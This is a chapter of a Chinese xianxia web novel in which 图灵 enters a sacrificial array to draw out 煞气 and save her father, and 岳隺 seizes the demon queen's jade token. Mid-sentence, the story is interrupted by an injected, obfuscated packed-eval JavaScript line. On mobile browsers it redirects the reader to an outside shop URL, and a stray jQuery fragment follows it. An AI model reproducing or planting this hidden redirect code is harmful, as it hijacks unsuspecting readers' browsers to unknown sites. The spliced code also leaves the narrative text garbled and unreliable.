“阿爹——”
“掌门!”
数位弟子齐身涌过来,七手八脚地将掌门扶至寝殿。
“姜佩师兄呢?”图灵左右环顾来人,此前他一直与奚珏形影不离,此刻竟不见来人。
听闻医官说奚珏只是外伤并无大碍,图灵亦顾不上其他,日夜守候在奚万尘的寝殿门前。
来往的长老无不愁眉叹气束手无策,许知言几次看过她一眼皆是欲言又止。
夜半时分,奚万尘依旧灵气微弱昏迷不醒。图灵侍候他几个时辰就连悄悄注入神力亦于事无补,她瞥到窗外一连守候多时如木桩般的身影,犹豫片刻还是掩门走上前,作揖道:“副掌门早些休息吧,有图灵在这里便好。”
许知言摇摇头:“若论关系,你大可唤我一句许叔,师兄本该应享天伦之乐,天道无情啊。”
“许叔白日可是有什么话想说,只要能救阿爹,但说无妨。”图灵按捺下心中忐忑,佯装镇静。
许知言听到这里,负手转身怜惜地看她一眼:“阿灵果然聪慧。日前,师兄听闻九州的谣言,为证明你二人清白,以身为引试图收复煞气。任是他修为高超,非命定体质怎能承受得住!今日亦是新伤覆重伤,不然怎会如此!”
纵然心中有诸多猜测,那点也许一切都是谣言的侥幸箍紧她的心跳,图灵攥紧衣袖:“三百年前到底发生什么事了?”
许知言望了望屋内,长叹一口气,将三百年前的过往悉数告知。
传闻都是真的,从她离开粼山那刻起,便唤醒了残留的煞气。李家兄弟身亡、颜贞被做成药人······这一切都是因她而起。图休或者说黎怜枝早已消散,所以哪怕踏遍九州亦不会追寻到她的踪迹。
四肢冰冷,院落清光无量,却照不尽她周身的暗影。
“阿灵,如若救师兄只有这一个法子,入祭身阵引出煞气。否则如若煞气失控,妖族趁机来犯,不止师兄整个仙门和人界皆重入三百年前的浩劫啊。”许知言说着擦了擦眼睛,“但凡有其他希望,老朽都愿意用这副老骨头以命相抵。”
她是罪人之子。
她被关在粼山只是黎怜枝怕她会引来煞气,过往的一切都是骗局。
天地在分崩离析,等她回过神来的时候,已经跟随许知言来到此前掌门闭关的地方。
“天人有情,万古同悲。”
图灵曾在图休的佩剑上看到过这行字,她抬头看着洞口牌匾“同悲洞”三个字不觉停住了脚步。
洞内寒风凌厉,急促的心跳召回她所有的思绪。
“阿灵,如果你后悔了,我们再想想其他法子。”许知言说着便要带她离开。图灵双脚恍若黏在地上,一步也迈不得,只见守卫在鹿鸣宫的仙侍匆忙来报:“副掌门,不,不好了······掌门突然伤势恶化。”
“休要胡说!我去去便来。”许知言压抑着怒意拂袖离开。
图休,黎怜枝,奚珏,岳隺······
图灵默念着每个名字,逐渐走入洞内深处。石壁和地面皆贴满了符咒,她每走一步,便有神力流逝其中。金光如星宿散落天地间,渐渐地,她似是体会到了某种安心,整个人亦昏昏沉沉想要就此睡去。
曲径消失视野骤然开阔,日光灿烂,葱翠林间桃源村的村民耕织作乐。田垄尽头的树荫下,众人手捧瓜果正簇拥着一个人,图灵不知不觉加快了脚步。
“走开!不要过来,我什么都不知道。什么都不记得。只有我,没有其他人。”
尖利又沙哑的声音令图灵一个激灵醒转过来,这是奚珏的声音。
“阿姐?”图灵试探着唤出一声,“阿姐你在哪里?”
“都是幻觉,都是幻觉。”奚珏喃喃自语。
桃源村的村民和围坐其中的图休依然在向她招手,那一张张和煦的笑容令她忍不住心生雀跃,图灵不断告诉自己这是幻境,随即唤出万慈手起剑落。只是那些人影如烟雾消散又转瞬凝聚为原来的样子,最后甚至直接扑上来抓住她的衣袖。
“不要过来,我什么都不会说的。”奚珏的声音渐渐微弱下去,只听得到煞气愈发猖狂的长啸。
“阿姐——”图灵大喊道,奚珏却再没有任何回应,满目欢声笑语,好似愁云从未莅临过这座小小的村落。
破除阵法需要找到阵眼,莫不是打破幻境亦需找到那个执念化身。
周身的村民张牙舞爪地撕扯着她的衣袖,图灵提剑向笑意盈盈一直等候她近前的图休走去。
“小图儿。”图休轻声唤她,只是阳光落入她的眼眸却如同坠入深渊没有丝毫暖意。
“阿灵住手!”随着这声惊呼,万慈已然穿破那个幻影的胸膛,滚烫的热血喷溅到她的胸口上。日光隐去,洞内缓缓恢复先前的昏暗,烛火飘摇间那些村民的身影亦消失了。
图灵察觉到有哪里不对,胸口和掌心一片黏腻,浓烈的铁锈味穿透她的喉咙。
黑雾缭绕间,奚珏跪坐在破碎的石壁前,怀中灵力紧紧环绕着岳澜生胸前的血洞。灵力磅礴,血河亦有滔天之势,岳澜生不断地口吐鲜血,直至一动不动。
“师父!”图灵向着两人扑过去却脚下一绊,直直跌倒在地。阵法吸食了地上的鲜血生出丛生的藤蔓,将她困守其中。
如注的鲜血似乎也流入奚珏的眼中,愤恨的目光狠狠凌迟着图灵的每寸骨肉:“你怎么不去死?”
你怎么不去死……
“你杀了师父。”
“琴枝因你而死。”
“弦阳镇的人在你走后死于煞气。”
“姐姐,为什么是你带来这一切?”
……
头痛几欲裂开,汹涌的泪水模糊了她的视线,似有一股巨力攥住她的心脏。
耳畔弥留着蜂鸣般的低语:“只要你心甘情愿,就能用你的死换来他们的生。”
心口痛到极致,竟然萌生了几乎撑破她胸腔的愤懑。
不,还不能结束。眼前逐渐融入一片黑暗,她趴在地上摸索着,失去生机的万慈和玄白划破她的手指,划破她的掌心。阵法触及到她手心的片刻,身体骤然失温,急速流失的血液拖拽着她整个人如同坠入冰河。
虽然周身有些冷,但只要不再挣扎她就自由了,心底蓦然升起一股缱绻释然。
“阿灵!阿灵快逃!”一束微光击入她的眉心,图灵一阵战栗,大梦初醒。她摇晃起身,隐约看清血泊的不远处,奚珏被铁链禁锢在石柱之上,无数黑影如利刃般穿过她的身体。
阵法似是与她的经脉连在一起,图灵挣扎着爬到那处血泊前摸到微弱的脉搏,而后催动玄白和无悲斩落奚珏身上的铁链和与自身相连的藤蔓。
“这点痛楚比起桃花契可是差远了。”她擦去嘴角的血迹,对着某处监视她的目光恨恨道。
“阿灵,其实我才是——”奚珏磕磕绊绊扑过来。
“这些都不重要。”图灵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17598439|202274||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
出声打断,收回神力双剑合一斩向阵法。
天生恶女?以一人之身断论天下生死何其狂妄。
剑刃深入沟壑,阵法却愈发坚韧,她凭借残存的神力居然难以撼动分毫,显然背后之人亦拥有至少胜过她的神力。
脚下金光燃起,阵法轰然大开,远看煞气以脱缰野马之势浩荡而来,图灵当即弃剑以神力护住二人,而后将煞气尽数引入体内。
“阿灵——”奚珏用灵力温养着岳澜生的身体,只是这次眼中只有痛楚,“对不起,我该早点告诉你这一切。”
所谓执念,不过是遇强则强,遇弱则弱。
这一次,她什么都不要了。
若她能活下来,势必会让那幕后之人付出代价。
“图灵!”耳边似是传来一声怒吼,一滴血泪自眼角滑落后颈。
是了,还有一个人,是她万般难以割舍,难以消融,难以忘却。
“图灵。”
岳隺大口呼吸着猛地睁开眼睛,未曾完全散去的噩梦如石块般堵在胸口。
周身流水潺潺,丹田吐纳之间,极为清澈柔和的灵力轻纱般簇拥在他周身。王后拂开结界走进来:“若非此处有灵泉,恐怕你的丹田和仙骨现在已然碎裂。”
“可有阿灵的消息?我现在去找她。”岳隺试图起身,只是每个动作都牵扯着筋骨撕裂般剧痛。
王后摘下腰间玉佩,绕在指间:“你连公法堂的人都打不过,拿什么保护她?现在有个机会,杀了我夺取妖力便能与仙门抗衡。”
泉流戛然而止,残留的水滴落在玉石之上隐隐传来回音。失去桃花契后,他身体某处似乎也停止流动了,只有空茫的风萦绕心间,无处可依。
岳隺沉声道:“姑母定要执意如此?”
此前便听闻妖族易主一向是弑杀前任妖王而得众臣拥戴,事到如今似乎有一张巨手推动着他与图灵向着两个方向分道而去。岳隺催动腰牌,与拂光宫的感应似是被一堵墙严严实实隔绝开来。
他这才反应过来,近日确是许久未曾收到姜佩的消息了。
“过了我这关,就放你走。”王后话毕,周身魔气运转如百花齐放,此前丰沛的灵气瞬间被挤入逼仄的空间动弹不得。
岳隺眸中云墨翻涌,催动妖力时停滞的经脉如同冰河初泄,妖力肆意游走间竟有无师自通之势。无悲迎上直劈面门的魔气,而后以一双金瞳对上那双惊讶而就此呆滞的双眼:“止。”
随着岳隺一声令下,眼前的人片刻停滞间失去骨头那般跌落在地。而后岳隺一剑劈向洞口的结界,无论用仙术还是妖力,那层固若金汤的屏障皆纹丝不动。
不多时,王后手边的玉佩悠悠然飘到他的面前。
平平无奇的翡翠上面,深蓝色的彼岸花标识闪闪烁烁,岳隺记得历任妖王的墓碑之上亦有同样的图案。玉佩在他左右晃了晃似是上下打量他一圈,而后在他张开手掌的片刻,如倦鸟归巢贴了上去。
刹那间,王后周身的魔气排山倒海般涌入岳隺的掌心,察觉到身体正在源源不断地吸食妖力。匆忙间他竟一掌击碎结界,亦斩断玉佩与王后的术法。
一直守在结界外面的秋回和冬溯看到岳隺手中的玉佩大惊失色,伏拜在地,迟疑着不敢上前:“殿、殿下……”
岳隺低声交待了一句“守好王宫”,便不见了踪影。
秋回战战兢兢地去触碰王后的鼻息,随即长吐一口气,瘫坐在地上。